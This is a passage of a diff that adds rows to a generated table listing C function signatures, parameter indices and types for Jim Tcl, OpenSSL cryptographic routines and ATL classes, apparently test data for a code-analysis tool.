| 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int) | | Jim_ScanString | 3 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int) | | Jim_DictMatchTypes | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int) | | Jim_DictMatchTypes | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int) | | Jim_DictMatchTypes | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int) | | Jim_DictMatchTypes | 3 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int) | | Jim_DictMatchTypes | 4 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *) | | Jim_ListSetIndex | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *) | | Jim_ListSetIndex | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *) | | Jim_ListSetIndex | 2 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *) | | Jim_ListSetIndex | 3 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *) | | Jim_ListSetIndex | 4 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 2 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 3 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 4 | Jim_Obj ** | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 5 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 2 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 3 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 4 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 5 | int | +| (Jim_Interp *,Jim_Obj *,char *) | | Jim_ScriptIsComplete | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,char *) | | Jim_ScriptIsComplete | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,char *) | | Jim_ScriptIsComplete | 2 | char * | +| (Jim_Interp *,Jim_Obj *,const char *) | | Jim_CompareStringImmediate | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,const char *) | | Jim_CompareStringImmediate | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,const char *) | | Jim_CompareStringImmediate | 2 | const char * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_AppendString | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_AppendString | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_AppendString | 2 | const char * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_AppendString | 3 | int | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_ListJoin | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_ListJoin | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_ListJoin | 2 | const char * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_ListJoin | 3 | int | +| (Jim_Interp *,Jim_Obj *,const char *const *) | | Jim_CheckShowCommands | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,const char *const *) | | Jim_CheckShowCommands | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,const char *const *) | | Jim_CheckShowCommands | 2 | const char *const * | +| (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 2 | const char *const * | +| (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 3 | int * | +| (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 4 | const char * | +| (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 5 | int | +| (Jim_Interp *,Jim_Obj *,const jim_stat_t *) | | Jim_FileStoreStatData | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,const jim_stat_t *) | | Jim_FileStoreStatData | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,const jim_stat_t *) | | Jim_FileStoreStatData | 2 | const jim_stat_t * | +| (Jim_Interp *,Jim_Obj *,double *) | | Jim_GetDouble | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,double *) | | Jim_GetDouble | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,double *) | | Jim_GetDouble | 2 | double * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_DictPairs | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_DictPairs | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_DictPairs | 2 | int * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolFromExpr | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolFromExpr | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolFromExpr | 2 | int * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolean | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolean | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolean | 2 | int * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetIndex | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetIndex | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetIndex | 2 | int * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetReturnCode | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetReturnCode | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetReturnCode | 2 | int * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetSourceInfo | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetSourceInfo | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetSourceInfo | 2 | int * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 2 | int | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 2 | int | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 2 | int | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 2 | int | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 2 | int | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int) | | Jim_ListIndex | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int) | | Jim_ListIndex | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int) | | Jim_ListIndex | 2 | int | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int) | | Jim_ListIndex | 3 | Jim_Obj ** | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int) | | Jim_ListIndex | 4 | int | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_EvalObjPrefix | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_EvalObjPrefix | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_EvalObjPrefix | 2 | int | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_EvalObjPrefix | 3 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_FormatString | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_FormatString | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_FormatString | 2 | int | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_FormatString | 3 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *) | | Jim_ListInsertElements | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *) | | Jim_ListInsertElements | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *) | | Jim_ListInsertElements | 2 | int | +| (Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *) | | Jim_ListInsertElements | 3 | int | +| (Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *) | | Jim_ListInsertElements | 4 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetLong | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetLong | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetLong | 2 | long * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetWide | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetWide | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetWide | 2 | long * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetWideExpr | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetWideExpr | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetWideExpr | 2 | long * | +| (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 1 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 2 | int | +| (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 1 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 2 | int | +| (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 0 | Jim_Interp * | +| (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 1 | char * | +| (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 2 | int | +| (Jim_Interp *,const char *) | | Jim_Eval | 0 | Jim_Interp * | +| (Jim_Interp *,const char *) | | Jim_Eval | 1 | const char * | +| (Jim_Interp *,const char *) | | Jim_EvalFile | 0 | Jim_Interp * | +| (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | const char * | +| (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 0 | Jim_Interp * | +| (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | const char * | +| (Jim_Interp *,const char *) | | Jim_EvalGlobal | 0 | Jim_Interp * | +| (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | const char * | +| (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 1 | const char * | +| (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 2 | ... | +| (Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommand | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommand | 1 | const char * | +| (Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommand | 2 | Jim_CmdProc * | +| (Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommand | 3 | void * | +| (Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommand | 4 | Jim_DelCmdProc * | +| (Jim_Interp *,const char *,Jim_Obj *) | | Jim_SetGlobalVariableStr | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,Jim_Obj *) | | Jim_SetGlobalVariableStr | 1 | const char * | +| (Jim_Interp *,const char *,Jim_Obj *) | | Jim_SetGlobalVariableStr | 2 | Jim_Obj * | +| (Jim_Interp *,const char *,Jim_Obj *) | | Jim_SetVariableStr | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,Jim_Obj *) | | Jim_SetVariableStr | 1 | const char * | +| (Jim_Interp *,const char *,Jim_Obj *) | | Jim_SetVariableStr | 2 | Jim_Obj * | +| (Jim_Interp *,const char *,const char *) | | Jim_SetVariableStrWithStr | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,const char *) | | Jim_SetVariableStrWithStr | 1 | const char * | +| (Jim_Interp *,const char *,const char *) | | Jim_SetVariableStrWithStr | 2 | const char * | +| (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 1 | const char * | +| (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 2 | int | +| (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 1 | const char * | +| (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 2 | int | +| (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 1 | const char * | +| (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 2 | int | +| (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 1 | const char * | +| (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 2 | int | +| (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 1 | const char * | +| (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 2 | int | +| (Jim_Interp *,const char *,int,const char *) | | Jim_EvalSource | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,int,const char *) | | Jim_EvalSource | 1 | const char * | +| (Jim_Interp *,const char *,int,const char *) | | Jim_EvalSource | 2 | int | +| (Jim_Interp *,const char *,int,const char *) | | Jim_EvalSource | 3 | const char * | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_CallSubCmd | 0 | Jim_Interp * | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_CallSubCmd | 1 | const jim_subcmd_type * | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_CallSubCmd | 2 | int | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_CallSubCmd | 3 | Jim_Obj *const * | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_ParseSubCmd | 0 | Jim_Interp * | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_ParseSubCmd | 1 | const jim_subcmd_type * | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_ParseSubCmd | 2 | int | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_ParseSubCmd | 3 | Jim_Obj *const * | +| (Jim_Interp *,double) | | Jim_NewDoubleObj | 0 | Jim_Interp * | +| (Jim_Interp *,double) | | Jim_NewDoubleObj | 1 | double | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_ConcatObj | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_ConcatObj | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_ConcatObj | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_DictMerge | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_DictMerge | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_DictMerge | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_EvalObjVector | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_EvalObjVector | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_EvalObjVector | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_ReaddirCmd | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_ReaddirCmd | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_ReaddirCmd | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_RegexpCmd | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_RegexpCmd | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_RegexpCmd | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_RegsubCmd | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_RegsubCmd | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_RegsubCmd | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_SubCmdProc | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_SubCmdProc | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_SubCmdProc | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *,const char *) | | Jim_WrongNumArgs | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *,const char *) | | Jim_WrongNumArgs | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *,const char *) | | Jim_WrongNumArgs | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *,const char *) | | Jim_WrongNumArgs | 3 | const char * | +| (Jim_Interp *,long) | | Jim_NewIntObj | 0 | Jim_Interp * | +| (Jim_Interp *,long) | | Jim_NewIntObj | 1 | long | +| (Jim_Obj *) | | Jim_Length | 0 | Jim_Obj * | +| (Jim_Obj *) | | Jim_String | 0 | Jim_Obj * | +| (Jim_Obj *,int *) | | Jim_GetString | 0 | Jim_Obj * | +| (Jim_Obj *,int *) | | Jim_GetString | 1 | int * | +| (Jim_Stack *) | | Jim_StackLen | 0 | Jim_Stack * | +| (Jim_Stack *) | | Jim_StackPeek | 0 | Jim_Stack * | +| (Jim_Stack *) | | Jim_StackPop | 0 | Jim_Stack * | +| (Jim_Stack *,void *) | | Jim_StackPush | 0 | Jim_Stack * | +| (Jim_Stack *,void *) | | Jim_StackPush | 1 | void * | +| (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 0 | KECCAK1600_CTX * | +| (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 1 | const void * | +| (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 2 | size_t | +| (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 0 | KECCAK1600_CTX * | +| (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 1 | unsigned char * | +| (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 2 | size_t | +| (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 0 | KECCAK1600_CTX * | +| (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 1 | unsigned char | +| (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 2 | size_t | +| (KECCAK1600_CTX *,unsigned char,size_t,size_t) | | ossl_keccak_init | 0 | KECCAK1600_CTX * | +| (KECCAK1600_CTX *,unsigned char,size_t,size_t) | | ossl_keccak_init | 1 | unsigned char | +| (KECCAK1600_CTX *,unsigned char,size_t,size_t) | | ossl_keccak_init | 2 | size_t | +| (KECCAK1600_CTX *,unsigned char,size_t,size_t) | | ossl_keccak_init | 3 | size_t | | (LPCOLESTR) | CComBSTR | Append | 0 | LPCOLESTR | | (LPCOLESTR) | CComBSTR | CComBSTR | 0 | LPCOLESTR | | (LPCOLESTR,int) | CComBSTR | Append | 0 | LPCOLESTR | @@ -685,6 +16251,2167 @@ getSignatureParameterName | (LPTSTR,LPCTSTR,DWORD *) | CRegKey | QueryValue | 0 | LPTSTR | | (LPTSTR,LPCTSTR,DWORD *) | CRegKey | QueryValue | 1 | LPCTSTR | | (LPTSTR,LPCTSTR,DWORD *) | CRegKey | QueryValue | 2 | DWORD * | +| (MD4_CTX *,const unsigned char *) | | MD4_Transform | 0 | MD4_CTX * | +| (MD4_CTX *,const unsigned char *) | | MD4_Transform | 1 | const unsigned char * | +| (MD4_CTX *,const void *,size_t) | | MD4_Update | 0 | MD4_CTX * | +| (MD4_CTX *,const void *,size_t) | | MD4_Update | 1 | const void * | +| (MD4_CTX *,const void *,size_t) | | MD4_Update | 2 | size_t | +| (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 0 | MD4_CTX * | +| (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 1 | const void * | +| (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 2 | size_t | +| (MD5_CTX *,const void *,size_t) | | MD5_Update | 0 | MD5_CTX * | +| (MD5_CTX *,const void *,size_t) | | MD5_Update | 1 | const void * | +| (MD5_CTX *,const void *,size_t) | | MD5_Update | 2 | size_t | +| (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 0 | MD5_SHA1_CTX * | +| (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 1 | const void * | +| (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 2 | size_t | +| (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 0 | MD5_SHA1_CTX * | +| (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 1 | int | +| (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 2 | int | +| (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 3 | void * | +| (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 0 | MDC2_CTX * | +| (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 1 | const unsigned char * | +| (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 2 | size_t | +| (ML_DSA_KEY *) | | ossl_ml_dsa_key_pub_alloc | 0 | ML_DSA_KEY * | +| (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 0 | ML_DSA_KEY * | +| (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 1 | const uint8_t * | +| (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 2 | size_t | +| (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 0 | ML_DSA_KEY * | +| (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 1 | const uint8_t * | +| (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 2 | size_t | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 0 | ML_DSA_KEY * | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 1 | int | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 2 | int | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 3 | const uint8_t * | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 4 | size_t | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 5 | const uint8_t * | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 6 | size_t | +| (ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *) | | ossl_ml_dsa_sig_decode | 0 | ML_DSA_SIG * | +| (ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *) | | ossl_ml_dsa_sig_decode | 1 | const uint8_t * | +| (ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *) | | ossl_ml_dsa_sig_decode | 2 | size_t | +| (ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *) | | ossl_ml_dsa_sig_decode | 3 | const ML_DSA_PARAMS * | +| (NAME_CONSTRAINTS *) | | NAME_CONSTRAINTS_free | 0 | NAME_CONSTRAINTS * | +| (NAMING_AUTHORITY *) | | NAMING_AUTHORITY_free | 0 | NAMING_AUTHORITY * | +| (NAMING_AUTHORITY **,const unsigned char **,long) | | d2i_NAMING_AUTHORITY | 0 | NAMING_AUTHORITY ** | +| (NAMING_AUTHORITY **,const unsigned char **,long) | | d2i_NAMING_AUTHORITY | 1 | const unsigned char ** | +| (NAMING_AUTHORITY **,const unsigned char **,long) | | d2i_NAMING_AUTHORITY | 2 | long | +| (NAMING_AUTHORITY *,ASN1_IA5STRING *) | | NAMING_AUTHORITY_set0_authorityURL | 0 | NAMING_AUTHORITY * | +| (NAMING_AUTHORITY *,ASN1_IA5STRING *) | | NAMING_AUTHORITY_set0_authorityURL | 1 | ASN1_IA5STRING * | +| (NAMING_AUTHORITY *,ASN1_OBJECT *) | | NAMING_AUTHORITY_set0_authorityId | 0 | NAMING_AUTHORITY * | +| (NAMING_AUTHORITY *,ASN1_OBJECT *) | | NAMING_AUTHORITY_set0_authorityId | 1 | ASN1_OBJECT * | +| (NAMING_AUTHORITY *,ASN1_STRING *) | | NAMING_AUTHORITY_set0_authorityText | 0 | NAMING_AUTHORITY * | +| (NAMING_AUTHORITY *,ASN1_STRING *) | | NAMING_AUTHORITY_set0_authorityText | 1 | ASN1_STRING * | +| (NETSCAPE_CERT_SEQUENCE *) | | NETSCAPE_CERT_SEQUENCE_free | 0 | NETSCAPE_CERT_SEQUENCE * | +| (NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long) | | d2i_NETSCAPE_CERT_SEQUENCE | 0 | NETSCAPE_CERT_SEQUENCE ** | +| (NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long) | | d2i_NETSCAPE_CERT_SEQUENCE | 1 | const unsigned char ** | +| (NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long) | | d2i_NETSCAPE_CERT_SEQUENCE | 2 | long | +| (NETSCAPE_ENCRYPTED_PKEY *) | | 